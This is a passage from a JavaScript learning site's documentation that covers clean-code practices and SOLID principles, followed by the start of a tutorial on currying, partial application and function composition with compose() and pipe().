integer hash &= hash } return hash } // ✓ Only comment what's not obvious function hashIt(data) { let hash = 0 const length = data.length for (let i = 0; i < length; i++) { const char = data.charCodeAt(i) hash = (hash << 5) - hash + char hash &= hash // Convert to 32-bit integer } return hash } ``` ### Don't Leave Commented-Out Code That's what version control is for. Delete it. If you need it later, check the git history. ```javascript // ❌ Dead code cluttering the file doStuff() // doOtherStuff() // doSomeMoreStuff() // doSoMuchStuff() // ✓ Clean doStuff() ``` ### Don't Write Journal Comments Git log exists for a reason. ```javascript // ❌ This is what git history is for /** * 2016-12-20: Removed monads (RM) * 2016-10-01: Added special monads (JP) * 2016-02-03: Removed type-checking (LI) */ function combine(a, b) { return a + b } // ✓ Just the code function combine(a, b) { return a + b } ``` --- ## SOLID Principles in JavaScript SOLID is a set of five principles that help you write maintainable, flexible code. Here's how they apply to JavaScript: <AccordionGroup> <Accordion title="Single Responsibility Principle (SRP)"> A class or module should have only one reason to change. ```javascript // ❌ UserSettings handles both settings AND authentication class UserSettings { constructor(user) { this.user = user } changeSettings(settings) { if (this.verifyCredentials()) { // update settings } } verifyCredentials() { // authentication logic } } // ✓ Separate responsibilities class UserAuth { constructor(user) { this.user = user } verifyCredentials() { // authentication logic } } class UserSettings { constructor(user, auth) { this.user = user this.auth = auth } changeSettings(settings) { if (this.auth.verifyCredentials()) { // update settings } } } ``` </Accordion> <Accordion title="Open/Closed Principle (OCP)"> Code should be open for extension but closed for modification. Add new features by adding new code, not changing existing code. ```javascript // ❌ Must modify this function for every new shape function getArea(shape) { if (shape.type === 'circle') { return Math.PI * shape.radius ** 2 } else if (shape.type === 'rectangle') { return shape.width * shape.height } // Add another if for every new shape... } // ✓ Extend by adding new classes class Shape { getArea() { throw new Error('getArea must be implemented') } } class Circle extends Shape { constructor(radius) { super() this.radius = radius } getArea() { return Math.PI * this.radius ** 2 } } class Rectangle extends Shape { constructor(width, height) { super() this.width = width this.height = height } getArea() { return this.width * this.height } } ``` </Accordion> <Accordion title="Liskov Substitution Principle (LSP)"> Child classes should be usable wherever parent classes are expected without breaking the code. ```javascript // ❌ Square breaks when used where Rectangle is expected class Rectangle { constructor() { this.width = 0 this.height = 0 } setWidth(width) { this.width = width } setHeight(height) { this.height = height } getArea() { return this.width * this.height } } class Square extends Rectangle { setWidth(width) { this.width = width this.height = width // Breaks LSP! } setHeight(height) { this.width = height this.height = height } } // This fails for Square - expects 20, gets 25 function calculateAreas(rectangles) { rectangles.forEach(rect => { rect.setWidth(4) rect.setHeight(5) console.log(rect.getArea()) // Square returns 25, not 20! }) } // ✓ Better: separate classes, no inheritance relationship class Rectangle { constructor(width, height) { this.width = width this.height = height } getArea() { return this.width * this.height } } class Square { constructor(side) { this.side = side } getArea() { return this.side * this.side } } ``` </Accordion> <Accordion title="Interface Segregation Principle (ISP)"> Don't force clients to depend on methods they don't use. In JavaScript, use optional configuration objects instead of requiring many parameters. ```javascript // ❌ Forcing clients to provide options they don't need class DOMTraverser { constructor(settings) { this.settings = settings this.rootNode = settings.rootNode this.settings.animationModule.setup() // Required even if not needed! } } const traverser = new DOMTraverser({ rootNode: document.body, animationModule: { setup() {} } // Must provide even if not animating }) // ✓ Make features optional class DOMTraverser { constructor(settings) { this.settings = settings this.rootNode = settings.rootNode if (settings.animationModule) { settings.animationModule.setup() } } } const traverser = new DOMTraverser({ rootNode: document.body // animationModule is optional now }) ``` </Accordion> <Accordion title="Dependency Inversion Principle (DIP)"> Depend on abstractions, not concrete implementations. Inject dependencies rather than instantiating them inside your classes. ```javascript // ❌ Tightly coupled to InventoryRequester class InventoryTracker { constructor(items) { this.items = items this.requester = new InventoryRequester() // Hard dependency } } // ✓ Dependency injection class InventoryTracker { constructor(items, requester) { this.items = items this.requester = requester // Injected - can be any requester } } ``` </Accordion> </AccordionGroup> --- ## Write Testable Code Functions that do one thing with no side effects are easy to test. If a function is hard to test, it's often a sign that it's doing too much or has hidden dependencies. Clean code and testable code go hand in hand. --- ## Key Takeaways <Info> **The key things to remember:** 1. **Names matter** — Use meaningful, pronounceable, searchable names. Good names eliminate the need for comments. 2. **Functions should do one thing** — This is the most important rule. Small, focused functions are easier to name, test, and reuse. 3. **Limit function parameters** — Two or fewer is ideal. Use object destructuring for more. 4. **Eliminate magic numbers** — Use named constants that explain what values mean. 5. **DRY, but don't over-abstract** — Remove duplication, but a bad abstraction is worse than duplication. 6. **Avoid side effects** — Prefer pure functions that don't mutate inputs or global state. 7. **Use early returns** — Guard clauses reduce nesting and make code easier to follow. 8. **Comments explain why, not what** — If you need to explain what code does, rewrite the code. 9. **Delete dead code** — Commented-out code and unused functions clutter your codebase. Git remembers. 10. **Use tools** — ESLint catches issues, Prettier handles formatting. Don't argue about style. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's wrong with this function name?"> ```javascript function process(data) { // ... } ``` **Answer:** The name `process` is too vague. It doesn't tell you what kind of processing happens or what kind of data is expected. Better names would be `validateUserInput`, `parseJsonResponse`, or `calculateOrderTotal`, depending on what the function actually does. </Accordion> <Accordion title="Question 2: Why is this function problematic?"> ```javascript function createUser(name, email, age, isAdmin, sendWelcomeEmail) { // ... } ``` **Answer:** Too many parameters (5). It's hard to remember the order, and the boolean flags (`isAdmin`, `sendWelcomeEmail`) suggest the function might be doing multiple things. Refactor to use an options object: ```javascript function createUser({ name, email, age, isAdmin = false }) { // ... } function sendWelcomeEmail(user) { // Separate function for separate concern } ``` </Accordion> <Accordion title="Question 3: When should you write a comment?"> **Answer:** Write comments when you need to explain *why* something is done a certain way, especially for: - Business logic that isn't obvious from the code - Workarounds for bugs or edge cases - Legal or licensing requirements - Complex algorithms where the approach isn't self-evident Don't write comments that explain *what* the code does. If the code needs explanation, rewrite it to be clearer. </Accordion> <Accordion title="Question 4: What's a 'magic number' and why is it bad?"> **Answer:** A magic number is an unexplained numeric literal in code, like `86400000` or `18`. They're bad because: - You can't search for what they mean - They don't explain their purpose - If the value needs to change, you have to find every occurrence Replace with named constants: `MILLISECONDS_PER_DAY` or `MINIMUM_LEGAL_AGE`. </Accordion> <Accordion title="Question 5: How would you refactor this nested code?"> ```javascript function processUser(user) { if (user) { if (user.isActive) { if (user.hasPermission) { return doSomething(user) } } } return null } ``` **Answer:** Use guard clauses (early returns) to flatten the nesting: ```javascript function processUser(user) { if (!user) return null if (!user.isActive) return null if (!user.hasPermission) return null return doSomething(user) } ``` Each guard clause handles one edge case, and the main logic sits at the top level without indentation. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is clean code in JavaScript?"> Clean code is code that is easy to read, easy to understand, and easy to change. Robert C. Martin defines it as code that "reads like well-written prose" in his book *Clean Code*. In JavaScript specifically, this means using meaningful variable names, small focused functions, consistent formatting, and avoiding side effects where possible. </Accordion> <Accordion title="How long should a JavaScript function be?"> A function should do one thing and do it well. While there is no strict line limit, Robert C. Martin recommends functions rarely exceed 20 lines. If a function needs a comment to explain a section, that section should likely be its own function. The key metric is not line count but whether the function operates at a single level of abstraction. </Accordion> <Accordion title="When should I write comments in my code?"> Write comments to explain *why*, never *what*. Good code is self-documenting through meaningful names and clear structure. Comments are valuable for explaining business rules, performance trade-offs, workarounds for known issues, and legal or regulatory requirements. As the saying in *The Pragmatic Programmer* goes, "don't document bad code — rewrite it." </Accordion> <Accordion title="What is the DRY principle and when should I apply it?"> DRY stands for "Don't Repeat Yourself," coined by Andy Hunt and Dave Thomas. It means every piece of knowledge should have a single authoritative representation. Apply it when you see the same logic repeated three or more times. However, premature abstraction is worse than duplication — wait until you see a clear, stable pattern before extracting shared code. </Accordion> <Accordion title="How do I write self-documenting JavaScript code?"> Use descriptive variable and function names that reveal intent (`calculateTotalPrice` not `calc`). Extract complex conditions into named boolean variables. Use `const` by default and `let` only when reassignment is needed. Prefer `for...of` over index-based loops, and use destructuring to name what you're extracting. These practices reduce the need for comments. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Pure Functions" icon="flask" href="/concepts/pure-functions"> Deep dive into functions without side effects and why they make code predictable </Card> <Card title="Modern JS Syntax" icon="wand-magic-sparkles" href="/concepts/modern-js-syntax"> ES6+ features like destructuring and arrow functions that enable cleaner code </Card> <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> How to handle errors cleanly without swallowing exceptions or cluttering code </Card> <Card title="Design Patterns" icon="sitemap" href="/concepts/design-patterns"> Reusable solutions that embody clean code principles at a higher level </Card> </CardGroup> --- ## Books <Card title="Clean Code: A Handbook of Agile Software Craftsmanship" icon="book" href="https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882"> The foundational text by Robert C. Martin that started the clean code movement. While examples are in Java, the principles apply to any language. A must-read for every developer. </Card> ## Articles <CardGroup cols={2}> <Card title="Clean Code JavaScript" icon="newspaper" href="https://github.com/ryanmcdermott/clean-code-javascript"> The definitive JavaScript adaptation of Clean Code principles with 94k+ GitHub stars. Every example is practical and immediately applicable to your code. </Card> <Card title="Clean Coding for Beginners" icon="newspaper" href="https://www.freecodecamp.org/news/clean-coding-for-beginners/"> freeCodeCamp's beginner-friendly introduction covering the "why" behind each clean code principle. Great starting point if you're new to these concepts. </Card> <Card title="Coding Style" icon="newspaper" href="https://javascript.info/coding-style"> javascript.info's practical guide to syntax, formatting, and style. Includes a visual cheat sheet you can reference while coding. </Card> <Card title="Ninja Code" icon="newspaper" href="https://javascript.info/ninja-code"> A satirical guide showing what NOT to do. The humor makes the anti-patterns memorable, and you'll recognize some of these mistakes in real codebases. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Pro Tips - Code This, NOT That" icon="video" href="https://www.youtube.com/watch?v=Mus_vwhTCq0"> Fireship's fast-paced video showing modern patterns that replace outdated approaches. Great examples of before/after refactoring. </Card> <Card title="Clean Code Playlist" icon="video" href="https://www.youtube.com/watch?v=b9c5GmmS7ks&list=PLWKjhJtqVAbkK24EaPurzMq0-kw5U9pJh"> freeCodeCamp's multi-part series covering each clean code principle in depth with live coding. Perfect for visual learners. </Card> <Card title="Clean Code - Uncle Bob" icon="video" href="https://www.youtube.com/watch?v=7EmboKQH8lM"> Robert C. Martin himself explaining clean code fundamentals. Hearing it from the source gives you the philosophy behind the principles. </Card> </CardGroup> ================================================ FILE: docs/concepts/currying-composition.mdx ================================================ --- title: "Currying & Composition" sidebarTitle: "Currying & Composition: Functional Patterns" description: "Learn currying and function composition in JavaScript. Build reusable functions from simple pieces using curry, compose, and pipe for cleaner, modular code." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functional Programming" "article:tag": "currying, function composition, pipe compose, partial application, functional patterns" --- How does `add(1)(2)(3)` even work? Why do libraries like [Lodash](https://lodash.com/) and [Ramda](https://ramdajs.com/) let you call functions in multiple ways? And what if you could build complex data transformations by snapping together tiny, single-purpose functions like LEGO blocks? ```javascript // Currying: one argument at a time const add = a => b => c => a + b + c add(1)(2)(3) // 6 // Composition: chain functions together const process = pipe( getName, trim, capitalize ) process({ name: " alice " }) // "Alice" ``` These two techniques, **currying** and **function composition**, are core to functional programming. They let you write smaller, more reusable functions and combine them into powerful pipelines. Once you understand them, you'll see opportunities to simplify your code everywhere. Libraries like [Lodash](https://lodash.com/) and [Ramda](https://ramdajs.com/) — which have over 50 million and 2 million weekly npm downloads respectively — make heavy use of currying and composition as foundational patterns. <Info> **What you'll learn in this guide:** - What currying is and how `add(1)(2)(3)` actually works - The difference between currying and partial application (they're not the same!) - How to implement your own `curry()` helper function - What function composition is and why it matters - How to build `compose()` and `pipe()` from scratch - Why currying and composition work so well together - When to use libraries like Lodash vs vanilla JavaScript - Real-world patterns used in production codebases </Info> <Warning> **Prerequisites:** This guide assumes you understand [closures](/concepts/scope-and-closures) and [higher-order functions](/concepts/higher-order-functions). Currying depends entirely on closures to work, and both currying and composition involve functions that return functions. </Warning> --- ## What is Currying? **Currying** is a transformation that converts a function with multiple arguments into a sequence of functions, each taking a single argument. It's named after mathematician Haskell Curry, who formalized the concept in combinatory logic during the 1930s, though the technique was first described by Moses Schönfinkel in 1924. Instead of calling `add(1, 2, 3)` with all arguments at once, a curried version lets you call `add(1)(2)(3)`, providing one argument at a time. Each call returns a new function waiting for the next argument. ```javascript // Regular function: takes all arguments at once function add(a, b, c) { return a + b + c } add(1, 2, 3) // 6 // Curried function: takes one argument at a time function curriedAdd(a) { return function(b) { return function(c) { return a + b + c } } } curriedAdd(1)(2)(3) // 6 ``` With arrow functions, curried functions become beautifully concise: ```javascript const add = a => b => c => a + b + c add(1)(2)(3) // 6 ``` <Tip> **Key insight:** Currying doesn't call the function. It transforms it. The original logic only runs when ALL arguments have been provided. </Tip> --- ## The Pizza Restaurant Analogy Imagine you're at a build-your-own pizza restaurant. Instead of shouting your entire order at once ("Large thin-crust pepperoni pizza!"), you go through a series of stations: 1. **Size station:** "What size?" → "Large" → You get a ticket for a large pizza 2. **Crust station:** "What crust?" → "Thin" → Your ticket now says large thin-crust 3. **Toppings station:** "What toppings?" → "Pepperoni" → Your pizza is made! Each station remembers your previous choices and waits for just one more piece of information. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE PIZZA RESTAURANT ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ orderPizza(size)(crust)(toppings) │ │ │ │ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐ │ │ │ SIZE STATION │ │ CRUST STATION │ │TOPPING STATION│ │ │ │ │ │ │ │ │ │ │ │ "What size?" │ ──► │ "What crust?" │ ──► │ "Toppings?" │ ──► 🍕 │ │ │ "Large" │ │ "Thin" │ │ "Pepperoni" │ │ │ │ │ │ │ │ │ │ │ └───────────────┘ └───────────────┘ └───────────────┘ │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ Returns function Returns function Returns the │ │ that remembers that remembers final pizza! │ │ size="Large" size + crust │ │ │ │ Each station REMEMBERS your previous choices using closures! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Here's that pizza order in code: ```javascript const orderPizza = size => crust => topping => { return `${size} ${crust}-crust ${topping} pizza` } // Full order at once orderPizza("Large")("Thin")("Pepperoni") // "Large Thin-crust Pepperoni pizza" // Or step by step const largeOrder = orderPizza("Large") // Remembers size const largeThinOrder = largeOrder("Thin") // Remembers size + crust const myPizza = largeThinOrder("Pepperoni") // Final pizza! // "Large Thin-crust Pepperoni pizza" // Create reusable "order templates" const orderLarge = orderPizza("Large") const orderLargeThin = orderLarge("Thin") orderLargeThin("Mushroom") // "Large Thin-crust Mushroom pizza" orderLargeThin("Hawaiian") // "Large Thin-crust Hawaiian pizza" ``` The magic is that each intermediate function "remembers" the arguments from previous calls. That's [closures](/concepts/scope-and-closures) at work! --- ## How Currying Works Step by Step Let's trace through exactly what happens when you call a curried function: ```javascript const add = a => b => c => a + b + c // Step 1: Call add(1) const step1 = add(1) // Returns: b => c => 1 + b + c // The value 1 is "closed over" - remembered by the returned function // Step 2: Call step1(2) const step2 = step1(2) // Returns: c => 1 + 2 + c // Now both 1 and 2 are remembered // Step 3: Call step2(3) const result = step2(3) // Returns: 1 + 2 + 3 = 6 // All arguments collected, computation happens! console.log(result) // 6 ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HOW CURRYING EXECUTES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ add(1)(2)(3) │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ add(1) │ │ │ │ a = 1 │ │ │ │ Returns: b => c => 1 + b + c │ │ │ └──────────────────────────────┬──────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ (2) ← called on returned function │ │ │ │ b = 2, a = 1 (from closure) │ │ │ │ Returns: c => 1 + 2 + c │ │ │ └──────────────────────────────┬──────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ (3) ← called on returned function │ │ │ │ c = 3, b = 2, a = 1 (all from closures) │ │ │ │ Returns: 1 + 2 + 3 = 6 │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### The Closure Connection Currying depends entirely on [closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures) to work. Each nested function "closes over" the arguments from its parent function, keeping them alive even after the parent returns. As [MDN explains](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures), a closure gives a function access to its outer scope's variables even when the outer function has finished executing — this is the mechanism that allows curried functions to "remember" earlier arguments. ```javascript const multiply = a => b => a * b const double = multiply(2) // 'a' is now 2, locked in by closure const triple = multiply(3) // Different closure, 'a' is 3 double(5) // 10 (2 * 5) triple(5) // 15 (3 * 5) double(10) // 20 (2 * 10) // 'double' and 'triple' each have their own closure // with their own remembered value of 'a' ``` --- ## Implementing a Curry Helper Writing curried functions manually works, but it's tedious for functions with many parameters. Let's build a `curry()` helper that transforms any function automatically. ### Basic Curry (Two Arguments) ```javascript function curry(fn) { return function(a) { return function(b) { return fn(a, b) } } } // Usage const add = (a, b) => a + b const curriedAdd = curry(add) curriedAdd(1)(2) // 3 ``` ### Advanced Curry (Any Number of Arguments) This version handles functions with any number of arguments and supports calling with multiple arguments at once. It uses [`fn.length`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length) to know how many arguments the original function expects: ```javascript function curry(fn) { return function curried(...args) { // If we have enough arguments, call the original function if (args.length >= fn.length) { return fn.apply(this, args) } // Otherwise, return a function that collects more arguments return function(...nextArgs) { return curried.apply(this, args.concat(nextArgs)) } } } ``` Let's break down how this works: ```javascript function sum(a, b, c) { return a + b + c } const curriedSum = curry(sum) // All these work: curriedSum(1, 2, 3) // 6 - called normally curriedSum(1)(2)(3) // 6 - fully curried curriedSum(1, 2)(3) // 6 - mixed curriedSum(1)(2, 3) // 6 - mixed ``` <Accordion title="Step-by-step trace of curry(sum)(1)(2)(3)"> ```javascript // Initial call: curry(sum) // fn = sum, fn.length = 3 // Returns the 'curried' function // Call: curriedSum(1) // args = [1], args.length (1) < fn.length (3) // Returns a new function that remembers [1] // Call: (previousResult)(2) // args = [1, 2], args.length (2) < fn.length (3) // Returns a new function that remembers [1, 2] // Call: (previousResult)(3) // args = [1, 2, 3], args.length (3) >= fn.length (3) // Calls sum(1, 2, 3) and returns 6 ``` </Accordion> ### ES6 Concise Version For those who love one-liners: ```javascript const curry = fn => function curried(...args) { return args.length >= fn.length ? fn(...args) : (...next) => curried(...args, ...next) } ``` <Warning> **Limitation:** The `fn.length` property doesn't count [rest parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters) or parameters with [default values](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters): ```javascript function withRest(...args) {} // length is 0 function withDefault(a, b = 2) {} // length is 1 // Curry won't work correctly with these! // You'd need to specify arity manually: // curry(fn, expectedArgCount) ``` </Warning> --- ## Currying vs Partial Application These terms are often confused, but they're different techniques: | Aspect | Currying | Partial Application | |--------|----------|---------------------| | Arguments per call | Always **one** | Any number | | What it returns | Chain of unary functions | Single function with some args fixed | | Transformation | Structural (changes function shape) | Creates specialized version | ### Currying Example Currying always produces functions that take exactly one argument: ```javascript // Curried: each call takes ONE argument const add = a => b => c => a + b + c add(1) // Returns: b => c => 1 + b + c add(1)(2) // Returns: c => 1 + 2 + c add(1)(2)(3) // Returns: 6 ``` ### Partial Application Example Partial application fixes some arguments upfront, and the resulting function takes all remaining arguments at once: ```javascript // Partial application helper function partial(fn, ...presetArgs) { return function(...laterArgs) { return fn(...presetArgs, ...laterArgs) } } function greet(greeting, punctuation, name) { return `${greeting}, ${name}${punctuation}` } // Fix the first two arguments const greetExcitedly = partial(greet, "Hello", "!") greetExcitedly("Alice") // "Hello, Alice!" greetExcitedly("Bob") // "Hello, Bob!" // The returned function takes remaining args TOGETHER, not one at a time ``` ### Visual Comparison ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ CURRYING VS PARTIAL APPLICATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Original: greet(greeting, punctuation, name) │ │ │ │ CURRYING: │ │ ───────── │ │ curriedGreet("Hello")("!")("Alice") │ │ │ │ │ │ │ ▼ ▼ ▼ │ │ [1 arg] → [1 arg] → [1 arg] → result │ │ │ │ PARTIAL APPLICATION: │ │ ──────────────────── │ │ partial(greet, "Hello", "!")("Alice") │ │ │ │ │ │ ▼ ▼ │ │ [2 args fixed] → [1 arg] → result │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> **When to use which?** - **Currying:** When you want maximum flexibility in how arguments are provided - **Partial Application:** When you want to create specialized versions of functions with some arguments preset </Tip> --- ## Real-World Currying Patterns Currying isn't just a theoretical concept. Here are patterns you'll see in production code: ### 1. Configurable Logging ```javascript // Curried logger factory const createLogger = level => timestamp => message => { const time = timestamp ? new Date().toISOString() : '' console.log(`[${level}]${time ? ' ' + time : ''} ${message}`) } // Create specialized loggers const info = createLogger('INFO')(true) const debug = createLogger('DEBUG')(true) const error = createLogger('ERROR')(true) // Use them info('Application started') // [INFO] 2024-01-15T10:30:00.000Z Application started debug('Processing request') // [DEBUG] 2024-01-15T10:30:00.000Z Processing request error('Connection failed') // [ERROR] 2024-01-15T10:30:00.000Z Connection failed // Logger without timestamp for development const quickLog = createLogger('LOG')(false) quickLog('Quick debug message') // [LOG] Quick debug message ``` ### 2. API Client Factory ```javascript const createApiClient = baseUrl => endpoint => options => { return fetch(`${baseUrl}${endpoint}`, options) .then(res => res.json()) } // Create clients for different APIs const githubApi = createApiClient('https://api.github.com') const myApi = createApiClient('https://api.myapp.com') // Create endpoint-specific fetchers const getGithubUser = githubApi('/users') const getMyAppUsers = myApi('/users') // Use them getGithubUser({ method: 'GET' }) .then(users => console.log(users)) ``` ### 3. Event Handler Configuration ```javascript const handleEvent = eventType => element => callback => { element.addEventListener(eventType, callback) // Return cleanup function return () => element.removeEventListener(eventType, callback) } // Create specialized handlers const onClick = handleEvent('click') const onHover = handleEvent('mouseenter') // Attach to elements const button = document.querySelector('#myButton') const removeClick = onClick(button)(() => console.log('Clicked!')) // Later: cleanup removeClick() ``` ### 4. Validation Functions ```javascript const isGreaterThan = min => value => value > min const isLessThan = max => value => value < max const hasLength = length => str => str.length === length // Create specific validators const isAdult = isGreaterThan(17) const isValidAge = isLessThan(120) const isValidZipCode = hasLength(5) // Use with array methods const ages = [15, 22, 45, 8, 67] const adults = ages.filter(isAdult) // [22, 45, 67] const zipCodes = ['12345', '1234', '123456', '54321'] const validZips = zipCodes.filter(isValidZipCode) // ['12345', '54321'] ``` ### 5. Discount Calculator ```javascript const applyDiscount = discountPercent => price => { return price * (1 - discountPercent / 100) } const tenPercentOff = applyDiscount(10) const twentyPercentOff = applyDiscount(20) const blackFridayDeal = applyDiscount(50) tenPercentOff(100) // 90 twentyPercentOff(100) // 80 blackFridayDeal(100) // 50 // Apply to multiple items const prices = [100, 200, 50, 75] const discountedPrices = prices.map(tenPercentOff) // [90, 180, 45, 67.5] ``` --- ## What is Function Composition? **Function composition** is the process of combining two or more functions to produce a new function. The output of one function becomes the input of the next. In mathematics, composition is written as `(f ∘ g)(x) = f(g(x))`. In code, we read this as "f after g" or "first apply g, then apply f to the result." ```javascript // Individual functions const add10 = x => x + 10 const multiply2 = x => x * 2 const subtract5 = x => x - 5 // Manual composition (nested calls) const result = subtract5(multiply2(add10(5))) // Step by step: 5 → 15 → 30 → 25 // With a compose function const composed = compose(subtract5, multiply2, add10) composed(5) // 25 ``` Why compose instead of nesting? Because this: ```javascript addGreeting(capitalize(trim(getName(user)))) ``` Becomes this: ```javascript const processUser = compose( addGreeting, capitalize, trim, getName ) processUser(user) ``` Much easier to read, modify, and test! --- ## The Assembly Line Analogy Think of function composition like a factory assembly line. Raw materials enter one end, pass through a series of stations, and a finished product comes out the other end. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE ASSEMBLY LINE ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ RAW INPUT ──► [Station A] ──► [Station B] ──► [Station C] ──► OUTPUT │ │ │ │ pipe(stationA, stationB, stationC)(rawInput) │ │ │ │ ───────────────────────────────────────────────────────────────────── │ │ │ │ Example: Transform user data │ │ │ │ { name: " ALICE " } │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ getName │ → " ALICE " │ │ └─────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ trim │ → "ALICE" │ │ └─────────────┘ │ │ │ │ │ ▼ │ │ ┌─────────────┐ │ │ │ toLowerCase │ → "alice" │ │ └─────────────┘ │ │ │ │ │ ▼ │ │ Final output: "alice" │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Each station: 1. Takes input from the previous station 2. Does ONE specific transformation 3. Passes output to the next station This is exactly how composed functions work! --- ## compose() and pipe() There are two ways to compose functions, differing only in direction: | Function | Direction | Reads like... | |----------|-----------|---------------| | `compose(f, g, h)` | Right to left | Math: `f(g(h(x)))` | | `pipe(f, g, h)` | Left to right | A recipe: "first f, then g, then h" | ### Implementing pipe() `pipe` flows left-to-right, which many developers find more intuitive. It uses [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) to chain functions together: ```javascript const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) ``` Let's trace through it: ```javascript const getName = obj => obj.name const toUpperCase = str => str.toUpperCase() const addExclaim = str => str + '!' const shout = pipe(getName, toUpperCase, addExclaim) shout({ name: 'alice' }) // reduce trace: // Initial: x = { name: 'alice' } // Step 1: getName({ name: 'alice' }) → 'alice' // Step 2: toUpperCase('alice') → 'ALICE' // Step 3: addExclaim('ALICE') → 'ALICE!' // Result: 'ALICE!' ``` ### Implementing compose() `compose` flows right-to-left, matching mathematical notation. It uses [`reduceRight()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight) instead: ```javascript const compose = (...fns) => x => fns.reduceRight((acc, fn) => fn(acc), x) ``` ```javascript // compose processes right-to-left const shout = compose(addExclaim, toUpperCase, getName) shout({ name: 'alice' }) // 'ALICE!' // This is equivalent to: addExclaim(toUpperCase(getName({ name: 'alice' }))) ``` ### Which Should You Use? ```javascript // These produce the same result: pipe(a, b, c)(x) // a first, then b, then c compose(c, b, a)(x) // Same! c(b(a(x))) ``` Most developers prefer `pipe` because: 1. It reads left-to-right like English 2. Functions are listed in execution order 3. It's easier to follow the data flow ```javascript // pipe: reads in order of execution const processUser = pipe( validateInput, // First sanitizeData, // Second saveToDatabase, // Third sendNotification // Fourth ) // compose: reads in reverse order const processUser = compose( sendNotification, // Fourth (but listed first) saveToDatabase, // Third sanitizeData, // Second validateInput // First (but listed last) ) ``` --- ## Building Data Pipelines Composition really shines when building data transformation pipelines: ```javascript const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x) // Individual transformation functions const removeSpaces = str => str.trim() const toLowerCase = str => str.toLowerCase() const splitWords = str => str.split(' ') const capitalizeFirst = words => words.map((w, i) => i === 0 ? w : w[0].toUpperCase() + w.slice(1) ) const joinWords = words => words.join('') // Compose them into a pipeline const toCamelCase = pipe( removeSpaces, toLowerCase, splitWords, capitalizeFirst, joinWords ) toCamelCase(' HELLO WORLD ') // 'helloWorld' toCamelCase('my variable name') // 'myVariableName' ``` ### Real-World Pipeline: Processing API Data ```javascript // Transform API response into display format const processApiResponse = pipe( // Extract data from response response => response.data, // Filter active users only users => users.filter(u => u.isActive), // Sort by name users => users.sort((a, b) => a.name.localeCompare(b.name)), // Transform to display format users => users.map(u => ({ id: u.id, displayName: `${u.firstName} ${u.lastName}`, email: u.email })), // Take first 10 users => users.slice(0, 10) ) // Use it fetch('/api/users') .then(res => res.json()) .then(processApiResponse) .then(users => renderUserList(users)) ``` --- ## Why Currying and Composition Work Together Currying and composition are natural partners. Here's why: ### The Problem: Functions with Multiple Arguments Composition works best with functions that take a single argument and return a single value. But many useful functions need multiple arguments: ```javascript const add = (a, b) => a + b const multiply = (a, b) => a * b // This doesn't work! const addThenMultiply = pipe(add, multiply) addThenMultiply(1, 2) // NaN - multiply receives one value, not two ``` ### The Solution: Currying Currying converts multi-argument functions into chains of single-argument functions, making them perfect for composition: ```javascript // Curried versions const add = a => b => a + b const multiply = a => b => a * b // Now we can compose! const add5 = add(5) // x => 5 + x const double = multiply(2) // x => 2 * x const add5ThenDouble = pipe(add5, double) add5ThenDouble(10) // (10 + 5) * 2 = 30 ``` ### Data-Last Parameter Order For composition to work smoothly, the **data** should be the **last** parameter. This is called "data-last" design: ```javascript // ❌ Data-first (hard to compose) const map = (array, fn) => array.map(fn) const filter = (array, fn) => array.filter(fn) // ✓ Data-last (easy to compose) const map = fn => array => array.map(fn) const filter = fn => array => array.filter(fn) // Now they compose beautifully const double = x => x * 2 const isEven = x => x % 2 === 0 const doubleEvens = pipe( filter(isEven), map(double) ) doubleEvens([1, 2, 3, 4, 5, 6]) // [4, 8, 12] ``` ### Point-Free Style When currying and composition combine, you can write code without explicitly mentioning the data being processed. This is called **point-free** style: ```javascript // With explicit data parameter (pointed style) const processNumbers = numbers => { return numbers .filter(x => x > 0) .map(x => x * 2) .reduce((sum, x) => sum + x, 0) } // Point-free style (no explicit 'numbers' parameter) const isPositive = x => x > 0 const double = x => x * 2 const sum = (a, b) => a + b const processNumbers = pipe( filter(isPositive), map(double), reduce(sum, 0) ) // Both do the same thing: processNumbers([1, -2, 3, -4, 5]) // 18 ``` Point-free code focuses on the transformations, not the data. It's often more declarative and easier to reason about. --- ## Lodash, Ramda, and Vanilla JavaScript Libraries like [Lodash](https://lodash.com/) and 